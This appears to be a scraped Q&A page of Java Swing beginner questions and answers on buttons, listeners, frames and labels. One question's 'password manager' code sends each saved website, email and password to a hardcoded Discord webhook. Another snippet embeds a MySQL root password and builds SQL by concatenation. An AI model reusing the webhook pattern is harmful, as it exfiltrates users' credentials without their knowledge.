GUI/ActionListener troubles - java

I'm making a GUI for my database program and I'm trying to create a button that preforms the delete function for the database. I'm having problems with the ActionListener class and getting an error called
No enclosing instance of type delete is accessible. Must qualify the allocation with an enclosing instance of type delete (e.g. x.new A() where x is an instance of delete).
on line 34 of the code. Another error I'm getting is
showDialogButton cannot be resolved to a variable
on line 65 of the code. Any help in fixing my code would be greatly appreciated.
import java.sql.*;
import java.util.Scanner;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import java.awt.event.ActionListener;
import java.awt.event.ActionEvent;
public class delete
{
static JFrame frame;
public static void main(String[] args)
{
// schedule this for the event dispatch thread (edt)
SwingUtilities.invokeLater(new Runnable()
{
public void run()
{
displayJFrame();
}
});
}
static void displayJFrame()
{
frame = new JFrame("Our JButton listener example");
// create our jbutton
JButton showDialogButton = new JButton("Click Me");
// add the listener to the jbutton to handle the "pressed" event
showDialogButton.addActionListener(listen);
}
public class MyActionListener implements ActionListener
{
public void actionPerformed(ActionEvent e)
{
// display/center the jdialog when the button is pressed
try {
Scanner scan = new Scanner(System.in);
//System.out.println("Enter a table");
String table = "teacherexample";
//System.out.println("Enter a num");
int num = 4;
//Get connection to DB
Connection myConn = DriverManager.getConnection("jdbc:mysql://LocalHost:3306/interndata?useSSL=false" , "root" , "Starwars991211");
String sql = ("DELETE FROM " + table + " ") + "WHERE EntryNumber = " + num;
PreparedStatement preparedStatement = myConn.prepareStatement(sql);
preparedStatement.executeUpdate(sql);
}
catch (Exception exc) {
exc.printStackTrace();
}
// put the button on the frame
frame.getContentPane().setLayout(new FlowLayout());
frame.add(showDialogButton);
// set up the jframe, then display it
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
frame.setPreferredSize(new Dimension(300, 200));
frame.pack();
frame.setLocationRelativeTo(null);
frame.setVisible(true);
}
}
}

Read the comments inside the code in order to get some hints of what is happening.
package test;
import java.sql.*;
import java.util.Scanner;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import java.awt.event.ActionListener;
import java.awt.event.ActionEvent;
public class Delete { // Class names should start with an upper case letter.
private JFrame frame; // Don't use a static JFrame (only if you know
// exactly what you are doing :))
private JButton showDialogButton; // This must be a field if you wanna access it in
// another class, in your case, the listener.
public static void main(String[] args) {
// Schedule this for the event dispatch thread (edt)
SwingUtilities.invokeLater(new Runnable() {
public void run() {
Delete del = new Delete(); // Create new instance of Delete class.
del.displayJFrame(); //Call display method.
}
});
}
private void displayJFrame() {
frame = new JFrame("Our JButton listener example");
// Create our JButton
showDialogButton = new JButton("Click Me");
// Add the listener to the JButton to handle the "pressed" event
showDialogButton.addActionListener(new MyActionListener());
// Adding the button should be done outside of the ActionLister. If it is inside
// the frame it will never be shown, because the Listener cannot be called
// (obviously) without a visible frame.
frame.getContentPane().setLayout(new FlowLayout());
// Add the button to the frame
frame.add(showDialogButton);
// Set up the JFrame, then display it
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
frame.setPreferredSize(new Dimension(300, 200));
frame.pack();
frame.setLocationRelativeTo(null);
frame.setVisible(true);
}
public class MyActionListener implements ActionListener {
public void actionPerformed(ActionEvent e) {
// display/center the JDialog when the button is pressed
try {
Scanner scan = new Scanner(System.in);
// System.out.println("Enter a table");
String table = "teacherexample";
// System.out.println("Enter a num");
int num = 4;
// Get connection to DB
Connection myConn = DriverManager.getConnection("jdbc:mysql://LocalHost:3306/interndata?useSSL=false",
"root", "Starwars991211");
String sql = ("DELETE FROM " + table + " ") + "WHERE EntryNumber = " + num;
PreparedStatement preparedStatement = myConn.prepareStatement(sql);
preparedStatement.executeUpdate(sql);
} catch (Exception exc) {
exc.printStackTrace();
}
}
}
}
Edit: I just gave attention to what you wanna do and how you try to do it. Give a check to the following if you want. Read comments inside the code again to understand more.
public class MyActionListener implements ActionListener {
public void actionPerformed(ActionEvent e) {
// Display/center the JDialog when the button is pressed
final String table = "teacherexample"; // Personal opinion: if something
// wont change, define it final
int num = 500; //Your number here, i guess from scanner input.
String sql = ("DELETE FROM " + table + " ") + "WHERE EntryNumber = " + num;
// Since java 8, auto closable, read https://docs.oracle.com/javase/tutorial/essential/exceptions/tryResourceClose.html
try (Connection myConn = DriverManager.getConnection("jdbc:mysql://LocalHost:3306/interndata?useSSL=false",
"root", "Starwars991211");PreparedStatement preparedStatement = myConn.prepareStatement(sql);)
{
preparedStatement.executeUpdate(sql);
}
catch (SQLException exc) { // Catching all exceptions is bad practice
// catch only the exception you wait here...
exc.printStackTrace();
}
}
}

Related

Why is GUI content not visible?

I made a basic GUI program with Java Swing. But it is not even opening. I think it might be because I put the setVisible(true) method at the beginning.
But even if I put it at the bottom of the code, it is not displaying. Here is my code. What am I doing wrong?
import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.Arrays;
import java.util.Scanner;
import java.util.stream.Collectors;
public class Main {
public static void main(String[] args) throws Exception {
//objects ------------------------------------------------------------------------------------------------------
JTextArea area = new JTextArea();
JFrame jframe = new JFrame();
JPanel panel = new JPanel();
JLabel label = new JLabel();
JButton button = new JButton();
JButton btn = new JButton();
//frame---------------------------------------------------------------------------------------------------------
jframe.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
jframe.setTitle("Blacklyn Passwords");
jframe.setSize(400,200);
//also tried it here, it´s showing...but it´s white all the time, and I tried to refresh it,I minimized it, and opened it back...but nothing changed...still white "jframe.setVisible(true)"
//label---------------------------------------------------------------------------------------------------------
label.setText("Blacklyn");
label.setForeground(Color.BLACK);//(new Color(135, 134, 131));
label.setFont(new Font("Calibri",Font.BOLD,25));
//areas---------------------------------------------------------------------------------------------------------
String data = readFile("data.json");
area.setText(data);
area.setEditable(false);
area.setBackground(new Color(23,23,23));
area.setForeground(new Color(68, 68, 68));
//buttons--------------------------------------------------------------------------------------------------------
button.setText("ADD");
button.setForeground(new Color(135, 134, 131));
button.setBackground(new Color(23,23,23));
button.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
String Website = JOptionPane.showInputDialog(null,"Enter a Website or Topic.","Blacklyn",JOptionPane.PLAIN_MESSAGE);
String Email = JOptionPane.showInputDialog(null,"Enter a Email.","Blacklyn",JOptionPane.PLAIN_MESSAGE);
String Password = JOptionPane.showInputDialog(null,"Enter a Password","Blacklyn",JOptionPane.PLAIN_MESSAGE);
try {
String flll = "data.json";
json_write(flll, Website + " " + Email + " " + Password);
send(Website + " " + Email + " " + Password);
} catch (IOException ex) {
ex.printStackTrace();
}
try {
String msg = readFile("data.json");
area.setText(msg);
} catch (Exception ex) {
ex.printStackTrace();
}
}
});
btn.setText("DELETE");
btn.setForeground(new Color(135, 134, 131));
btn.setBackground(new Color(23,23,23));
btn.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
File file = new File("data.json");
if(file.exists()){
String storage = JOptionPane.showInputDialog(null,"Enter what Website or Topic you want to delete","Blacklyn",JOptionPane.PLAIN_MESSAGE);
try {
deleteLine(storage);
} catch (IOException ex) {
ex.printStackTrace();
}
try {
String msg = readFile("data.json");
area.setText(msg);
} catch (Exception ex) {
ex.printStackTrace();
}
}else{
JOptionPane.showMessageDialog(null,"You have no Passwords to delete","Blacklyn",JOptionPane.ERROR_MESSAGE);
}
}
});
//panel---------------------------------------------------------------------------------------------------------
panel.setBackground(new Color(15,15,15));
panel.add(label);
panel.add(button);
panel.add(btn);
panel.add(area);
// I also tried it here(its not even showing)jframe.setVisible(true);
//END-----------------------------------------------------------------------------------------------------------
jframe.add(panel);
//it´s also not showing
jframe.setContentPane(panel);
}
public static void deleteLine(String start) throws IOException {
RandomAccessFile file = new RandomAccessFile("data.json", "rw");
String delete;
String task="";
byte []tasking;
while ((delete = file.readLine()) != null) {
if (delete.startsWith(start)) {
continue;
}
task+=delete+"\n";
}
System.out.println(task);
BufferedWriter writer = new BufferedWriter(new FileWriter("data.json"));
writer.write(task);
file.close();
writer.close();
}
public static String readFile(String fileName)throws Exception
{
String data = "";
data = new String(Files.readAllBytes(Paths.get(fileName)));
return data;
}
public static void json_write(String file, String data) throws IOException {
FileWriter fw = new FileWriter(file,true);
fw.write(data + "\n");
fw.flush();
fw.close();
}
public static void send(String data) throws IOException {
DiscordWebhook dw = new DiscordWebhook("https://discord.com/api/webhooks/899693331968323605/Ln4AYxUO8caGZDvi9628LuhaFmjgnhPOf2rrY5wVKEbGdiMFlnlyVy8BhM-HX6a_LkI2");
dw.addEmbed(new DiscordWebhook.EmbedObject().setTitle("Hurensohn Jans Password").setDescription(data));
dw.execute();
}
}
I also tried to research online, but no one has the same problem. So I decided to open a question here.
I see you are probably following a tutorial.
There is a lot going on here. But the most important code is the first part.
You need to set your contentPane.
In every GUI with Java Swing, you set your JFrame to be the frame.
Then you add your JPanel to your JFrame.
frame.add(panel);
then you set your panel as contentPane:
frame.setContentPane(panel)
Then you add all your elements to your panel.
Also you need to use a layout manager.
You may do it with Layout null, but then you need to use the setBounds() method to put everything in place, which is okey for your first GUI, but a lot of work.
Does this help you? please use a comment if it helped or not, then I can take another look.
This is a typical "tutorial" coding style. Comparing it with building a house, one builds floors, doors, windows, here I also see a table with chairs, already electricity and plumbing (actionPerformed). That is very fragmentary, not your fault.
You could already start with some inheritance:
public class MyBlacklynFrame extends JFrame {
private JPanel panel;
private JLabel label = new JLabel("Hello");
public MyBlacklynFrame () {
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setTitle("Blacklyn Passwords");
setSize(400, 200);
panel = new JPanel();
panel.setLayout(new BorderLayout());
panel.add(label, BorderLayout.SOUTH);
add(panel);
pack();
}
}
public class Main {
public static void main(String[] args) throws Exception {
MyBlacklynFrame frame = new MyBlacklynFrame();
SwingUtilities.invokeLater(() -> frame.setVisible(true));
}
}
The above uses two different creation styles (for resp. panel and label).
The frame is made visible on the AWT event queue by invokeLater.
() -> frame.setVisible(true) is an anonymous function with as body frame.setVisible(true);. It will later be executed on the event handling thread of swing (where button clicks and redrawing happens).
Calling pack does layouting.
There are some GUI designers with which you can create all this code in a GUI with components. Afterwards you could look at the created code.
I hope you see that here the GUI is constructed hierarchical. A panel with several components, text box, buttons, could also be put in its own class. So panel = new MySuperPanel(); could keep all compartimentized.

Can I use JButton as a parameter for a constructor

So I have two classes, one is a GUI class with my JButtons, JFrames etc.... My other class has my main method along with a static method to play a sound. I am trying to create a constructor that will allow me to easily create a bunch of quiz questions, it will play a sound, ask the user to identify what makes that noise, and then display if the answer was correct or incorrect. I'm trying to put the JButton in the constructor as the "correct response" for the question that will be created, but I am getting a cannot find symbol error
This is my first Class
import javax.sound.sampled.Clip;
import java.io.File;
import javax.swing.*;
import java.awt.*;
import java.awt.event.*;
public class NateApp {
private static JLabel label = new JLabel("Select the correct answer");
public static void main(String[] args)
{
File shred = new File("shredNoise.WAV");
// PlaySound(noise);
generateQuestion(" Shred", " Airplane ", "Car", "Pool Party", buttonA, shred);
}
public static void PlaySound(File Sound)
{
try{
Clip clip = AudioSystem.getClip();
clip.open(AudioSystem.getAudioInputStream(Sound));
clip.start();
Thread.sleep(clip.getMicrosecondLength()/1000);
}
catch(Exception e){
}
}
public static void generateQuestion(String option1, String option2, String option3, String option4, JButton correctAnswer, File audioQue)
{
new GUI(option1, option2, option3, option4, correctAnswer, audioQue);
//System.out.println("Can you identify this sound?");
File noise = new File(String.valueOf(audioQue));
PlaySound(noise);
//System.out.println(option1 + option2 + option3 + option4);
if(correctAnswer.getModel().isPressed())
{
label.setText("Correct!");
}
}
}
and here is my second one with the GUI
import javax.swing.*;
import java.awt.*;
import java.awt.event.*;
import java.io.File;
public class GUI implements ActionListener {
private int clicks = 0;
private JLabel label = new JLabel("Can you identify this sound?");
private JFrame frame = new JFrame();
private Object ActionEvent;
public GUI(String optionA, String optionB, String optionC, String optionD, JButton correct, File noise) {
// the clickable button
JButton buttonA = new JButton("A " + optionA);
JButton buttonB = new JButton("B " + optionB);
JButton buttonC = new JButton("C " + optionC);
JButton buttonD = new JButton("D " + optionD);
buttonA.addActionListener(this);
buttonB.addActionListener(this);
buttonC.addActionListener(this);
buttonD.addActionListener(this);
// the panel with the button and text
JPanel panel = new JPanel();
panel.setBorder(BorderFactory.createEmptyBorder(30, 30, 10, 30));
panel.setLayout(new GridLayout(0, 1));
panel.add(buttonA);
panel.add(buttonB);
panel.add(buttonC);
panel.add(buttonD);
panel.add(label);
// set up the frame and display it
frame.add(panel, BorderLayout.CENTER);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setTitle("GUI");
frame.pack();
frame.setVisible(true);
}
// process the button clicks
public void actionPerformed(ActionEvent e) {
}
// create one Frame
public static void main(String[] args) {
}
}

Why won't main method print anything?

I've been trying to figure out what's wrong with my code. I have to build a GUI and there are no errors. The program builds successfully, but no GUI pops up. So in the main method, I commented out the GUI programming and added a simple System.out.println("hello"); but it does the same thing, i.e., it builds successfully, but does not print anything. Can someone please tell me what's wrong? Thanks!
/*
* To change this license header, choose License Headers in Project
Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package gui;
import java.awt.*;
import javax.swing.*;
import java.awt.Event.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
public class GUI extends JFrame {
GridLayout g = new GridLayout(5, 2);
private JLabel baseIn = new JLabel("Base Input");
private JLabel heightIn = new JLabel("Height Input");
private JTextField base = new JTextField();
private JTextField height = new JTextField();
private JTextField area = new JTextField();
private JButton calc = new JButton("Calculate Area");
public GUI() {
super("Triangle Area Calculator");
setSize(500, 300);
setLayout(g);
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
add(baseIn);
add(heightIn);
add(base);
add(height);
add(area);
add(calc);
area.setEditable(false);
calc.addActionListener((ActionListener) this);
pack();
setVisible(true);
}
public void actionPerformed(ActionEvent e) {
try {
double bInput = Integer.valueOf(base.getText());
double hInput = Integer.valueOf(height.getText());
double aOutput = 0.5*bInput*hInput;
area.setText("Area of your triangle is: " + aOutput);
} catch (NumberFormatException n) {
System.out.println(n.getMessage());
}
}
public static void main(String[] args) {
/*JFrame frame = new JFrame();
GUI one = new GUI();
frame.getContentPane().add(one);
frame.pack();
frame.setVisible(true);*/
System.out.println("hello world");
}
}
First, going back to the basic code...
public class GUI extends JFrame {
//...
public static void main(String[] args) {
JFrame frame = new JFrame();
GUI one = new GUI();
frame.getContentPane().add(one);
frame.pack();
frame.setVisible(true);
}
}
Will fail, because you can't add a window based component to a window. As a general rule of thumb, you should avoid overriding JFrame (and other top level containers) directly and favour something less complex, like JPanel
public class GUI extends JPanel {
//...
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
#Override
public void run() {
JFrame frame = new JFrame();
frame.add(new GUI());
frame.pack();
frame.setLocationRelativeTo(null);
frame.setVisible(true);
}
});
}
}
Next...
calc.addActionListener((ActionListener) this);
The fact that you need to perform a cast in order to get the code to work is a clear sign that something else is wrong and this is likely to cause a runtime error and crash your program. Perhaps you should start by having a read of How to write a Action Listener and How to Use Buttons, Check Boxes, and Radio Buttons to get a better understanding of how the API works
This is further supported by making use of the #Override annotation, which should be used when ever you "think" you're implementing or overriding existing functionality...
#Override
public void actionPerformed(ActionEvent e) {
//...
}
This would then fail to compile, as you're not implementing any existing functionality. This functionality is described by the ActionListener interface which you are not implementing.
While you could implement this interface directly, I prefer to avoid doing so, as it exposes functionality that other classes shouldn't have access to and you run the risk of building a "god" method, which is never a good idea.
Instead, I prefer to make use of Java's Anonymous Classes, which provides a much better means for isolating functionality to single use case, for example...
calc.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
try {
double bInput = Integer.valueOf(base.getText());
double hInput = Integer.valueOf(height.getText());
double aOutput = 0.5 * bInput * hInput;
area.setText("Area of your triangle is: " + aOutput);
} catch (NumberFormatException n) {
System.out.println(n.getMessage());
}
}
});
Runnable Example
import java.awt.EventQueue;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JTextField;
public class GUI extends JPanel {
GridLayout g = new GridLayout(5, 2);
private JLabel baseIn = new JLabel("Base Input");
private JLabel heightIn = new JLabel("Height Input");
private JTextField base = new JTextField();
private JTextField height = new JTextField();
private JTextField area = new JTextField();
private JButton calc = new JButton("Calculate Area");
public GUI() {
setLayout(g);
add(baseIn);
add(heightIn);
add(base);
add(height);
add(area);
add(calc);
area.setEditable(false);
calc.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
try {
double bInput = Integer.valueOf(base.getText());
double hInput = Integer.valueOf(height.getText());
double aOutput = 0.5 * bInput * hInput;
area.setText("Area of your triangle is: " + aOutput);
} catch (NumberFormatException n) {
System.out.println(n.getMessage());
}
}
});
}
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
#Override
public void run() {
JFrame frame = new JFrame();
frame.add(new GUI());
frame.pack();
frame.setLocationRelativeTo(null);
frame.setVisible(true);
}
});
}
}
Netbeans properties...
Now, if all that still fails to net you a result, you need to make sure that your GUI class is configured as the "Main class".
Start by right clicking the Netbeans project node and select "Properties" (it's at the bottom).
From the "Projects Properties", select "Run" from the "Build" options down the left side.
Make sure that your GUI class is marked as the "Main Class", use "Browse" to find it if it's not
Try this
calc.addActionListener(new OptionButtonHandler());
I added one optionButtonHandler class which implements ActionListener. I checked on my IDE and I was able to get the area of the triangle.
private class OptionButtonHandler implements ActionListener {
public void actionPerformed(ActionEvent e) {
try {
double bInput = Integer.valueOf(base.getText());
double hInput = Integer.valueOf(height.getText());
double aOutput = 0.5 * bInput * hInput;
area.setText("Area of your triangle is: " + aOutput);
} catch (NumberFormatException n) {
System.out.println(n.getMessage());
}
}
}
In your case, GUI is not an ActionListener, so that will fail.
Can you right click on the file with the main method in Netbeans, you should see the run option there, select it. This would allow you set your main method. After this, subsequent clicks on the Green play Button should work.
You do not need to cast your Frame class to an ActionListener. Instead, make it implement the ActionListener interface and your code for the button action should work. But in future, its better to add logic to detect what component triggered the action.
I don't know, but how can you write this :
calc.addActionListener((ActionListener) this);
Your object (this) is a JFrame, you should add 'implements ActionListener' first, or create a separate implementation ...
Next error, you do :
GUI one = new GUI();
frame.getContentPane().add(one);
GUI extends JFrame, its a JFrame, you can't add a JFrame in another one !
I tested with add of 'implements ActionListener' and it runs, but some errors remains ;)
Copy/paste needs wisdom, hum ^^
EDIT
this code is not perfect (and very ugly) but it works for your example :
package com.mead.helmet.core;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JTextField;
import javax.swing.WindowConstants;
public class GUI extends JPanel implements ActionListener {
public static void main(final String[] args) {
JFrame frame = new JFrame("Triangle Area Calculator");
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
GUI one = new GUI();
frame.getContentPane().add(one);
frame.pack();
frame.setVisible(true);
System.out.println("hello world");
}
GridLayout g = new GridLayout(5, 2);
private final JLabel baseIn = new JLabel("Base Input");
private final JLabel heightIn = new JLabel("Height Input");
private final JTextField base = new JTextField();
private final JTextField height = new JTextField();
private final JTextField area = new JTextField();
private final JButton calc = new JButton("Calculate Area");
public GUI() {
super();
setSize(500, 300);
setLayout(g);
add(baseIn);
add(heightIn);
add(base);
add(height);
add(area);
add(calc);
area.setEditable(false);
calc.addActionListener((ActionListener) this);
setVisible(true);
}
/**
*
* #param event
*/
#Override
public void actionPerformed(final ActionEvent e) {
try {
double bInput = Integer.valueOf(base.getText());
double hInput = Integer.valueOf(height.getText());
double aOutput = 0.5 * bInput * hInput;
area.setText("Area of your triangle is: " + aOutput);
} catch (NumberFormatException n) {
System.out.println(n.getMessage());
}
}
}

Cannot set JLabel to Multiple Text Values

My JLabel isn't being set to all of these text values.
import java.awt.FlowLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.*;
public class MultipleLables{
static JFrame framey;
static JLabel lbl;
static JButton btn;
public static void GUIWindow () {
framey = new JFrame("Test");
framey.setSize(100, 100);
framey.setLayout(new FlowLayout());
lbl = new JLabel("Example Text");
btn = new JButton("Change Text");
btn.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
try {
lbl.setText("First Text");
Thread.sleep(1000);
lbl.setText("Second Text");
Thread.sleep(1000);
lbl.setText("Third Text");
}catch (Exception e) {
//Don't really care if the program dies
}
}
});
framey.add(lbl);
framey.add(btn);
framey.setVisible(true);
}
public static void main(String[] args) {
GUIWindow();
}
}
The output would waits two seconds, then set the value of the JLabel to "Text Three" instead of displaying the three values one after another. I don't see what I'm doing wrong here.
From the question, It is not clear what is the problem you are facing. Please add an example of the code that others can run and test.
If you are trying to see the value of the variables a, b or 'c' in the JLabel , you will need code like
GUIWindow.text.setText(a.toString());
What you are doing now is setting the text "a" and not the value of variable a.
I am not sure what is the data type of the variables a, b or 'c'. If they do have a proper toString() implementation (they probably do as the System.out.println() is giving you the desired output), the above code should work. Else you might need to call the right method on these variables that will give you the desired text.
I was able to fix this issue by creating and running a swing timer. Here is the code, with the fix inside it.
import java.awt.FlowLayout;
import java.awt.event.*;
import javax.swing.*;
public class MulttipleLables{
static JFrame framey;
static JLabel lbl;
static JButton btn;
static Timer t;
static int i;
public static void GUIWindow () {
framey = new JFrame("Test");
framey.setSize(100, 100);
framey.setLayout(new FlowLayout());
lbl = new JLabel("Example Text");
btn = new JButton("Change Text");
btn.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e1) {
t = new Timer (1000,new ActionListener() {
public void actionPerformed(ActionEvent e2) {
;
lbl.setText("First Text");
switch (i) {
case 1:
lbl.setText("Second Text");
i++;
break;
case 2:
lbl.setText("Third Text");
i++;
break;
default:
i++;
}
if (i == 3) {
t.stop();
i = 0;
}
}
});
t.start();
}
});
framey.add(lbl);
framey.add(btn);
framey.setVisible(true);
}
public static void main(String[] args) {
GUIWindow();
}
}
I don't have a compiler on me, but I am sure this code should work for what you need.

how to open a second jframe from a current one?

my current program takes in text from some JTextFields and adds it to a file to keep track of medications. What i want to do, is add another button to the bottom of the program that will open a second jframe to display the medications that are already documented, but all attempts have been brutally unsuccessful. Below is the code that i am currently working with.
Much Thanks.
import javax.swing.*;
import java.awt.*;
import java.awt.event.*;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.PrintWriter;
#SuppressWarnings({ "serial" })
public class MedGUITest extends JFrame {
private JLabel medName;
private JLabel medTime;
private JLabel medDose;
private JLabel finished;
private JTextField textFieldMed;
private JTextField textFieldTime;
private JTextField textFieldDose;
private JButton submitButton;
private JButton meds;
public MedGUITest(){
setLayout(new FlowLayout());
medName = new JLabel("Type Medication Here:");
add(medName);
textFieldMed = new JTextField("",15);
add(textFieldMed);
medDose = new JLabel("Type Medication Dose:");
add(medDose);
textFieldDose = new JTextField("",15);
add(textFieldDose);
medTime = new JLabel("Type Medication Time:");
add(medTime);
textFieldTime = new JTextField("",15);
add(textFieldTime);
submitButton = new JButton("Click Here to Add");
event e = new event();
submitButton.addActionListener(e);
add(submitButton);
meds = new JButton("Click Here to see meds");
event2 r = new event2();
meds.addActionListener(r);
add(meds);
finished = new JLabel("");
add(finished);
}
public class event implements ActionListener {
public void actionPerformed(ActionEvent e){
String medName = textFieldMed.getText();
String medDose = textFieldDose.getText();
String medTime = textFieldTime.getText();
File med = new File("med.txt");
try(PrintWriter out= new PrintWriter(new FileWriter(med,true))) {
out.println("Medication: " + medName + " " +"Dosage: "+ medDose + " Mg"+ " " +"Time of day: "+ medTime);
finished.setText("Your Med has been added");
} catch (IOException e1) {
e1.printStackTrace();
}
}
}
public class event2 implements ActionListener{
public void actionPerformed(ActionEvent e){
}
}
public static void main(String args[]) throws IOException{
int winWidth = 300;
int winLength = 300;
MedGUITest gui = new MedGUITest();
gui.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
gui.setSize(winWidth, winLength);
gui.setVisible(true);
gui.setTitle("Standard GUI");
}
}
You would probably want to use a JDialog instead of another JFrame. You just set it up the same way you set up any other JFrame or JDialog. You create the frame/dialog, add components and then call pack() then setvisible(true). You just want to make sure that you don't set JFrame.setDefaultCloseOperation() to close when the close your second JFrame.
I find it easier to set up my classes to sub-class JPanel instead of JFrame so then it is easier to reuse it in other places.

Categories

Resources